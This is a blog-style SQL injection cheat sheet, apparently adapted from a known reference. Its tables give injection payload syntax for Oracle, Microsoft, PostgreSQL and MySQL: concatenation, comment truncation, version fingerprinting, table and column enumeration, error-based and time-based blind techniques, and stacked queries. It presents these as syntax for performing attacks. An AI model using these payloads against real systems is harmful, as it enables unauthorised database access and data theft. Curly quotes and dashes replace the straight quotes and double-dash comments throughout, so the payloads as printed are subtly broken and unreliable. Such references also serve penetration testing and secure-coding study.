The SQL injection cheat sheet
Hi, i am shahid Malla and here i have a new article for you on SQL injection cheat sheet contains examples of the useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.
String concatenation
here what you can concatenate together multiple strings to make a single string.
| Oracle | ‘foo’||’bar’ |
|---|---|
| Microsoft | ‘foo’+’bar’ |
| PostgreSQL | ‘foo’||’bar’ |
| MySQL | ‘foo’ ‘bar’ [Note the space between the two strings] CONCAT(‘foo’,’bar’) |
Comments of Query
Here may you can use the comments to truncate a query and remove the portion of the original query that follows your input.
| Oracle | –comment |
|---|---|
| Microsoft | –comment /*comment*/ |
| PostgreSQL | –comment /*comment*/ |
| MySQL | #comment — comment [Note the space after the double dash] /*comment*/ |
Database versions and lite information
You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.
| Oracle | SELECT banner FROM v$version SELECT version FROM v$instance |
|---|---|
| Microsoft | SELECT @@version |
| PostgreSQL | SELECT version() |
| MySQL | SELECT @@version |
Database contents Views
to extract list the tables that exist in the database, and the columns that those tables contain.
| Oracle | SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = ‘TABLE-NAME-HERE’ |
|---|---|
| Microsoft | SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’ |
| PostgreSQL | SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’ |
| MySQL | SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’ |
Conditional errors
You can test a single boolean condition and trigger a database error if the condition is true.
| Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual |
|---|---|
| Microsoft | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END |
| PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END |
| MySQL | SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),’a’) |
Batched (or stacked) queries
You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
| Oracle | Does not support batched queries. |
|---|---|
| Microsoft | QUERY-1-HERE; QUERY-2-HERE |
| PostgreSQL | QUERY-1-HERE; QUERY-2-HERE |
| MySQL | Does not support batched queries. |
Time delays
You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.
| Oracle | dbms_pipe.receive_message((‘a’),10) |
|---|---|
| Microsoft | WAITFOR DELAY ‘0:0:10’ |
| PostgreSQL | SELECT pg_sleep(10) |
| MySQL | SELECT sleep(10) |
Conditional time delays
You can test a single boolean condition and trigger a time delay if the condition is true.
| Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN ‘a’||dbms_pipe.receive_message((‘a’),10) ELSE NULL END FROM dual |
|---|---|
| Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY ‘0:0:10’ |
| PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
| MySQL | SELECT IF(YOUR-CONDITION-HERE,sleep(10),’a’) |
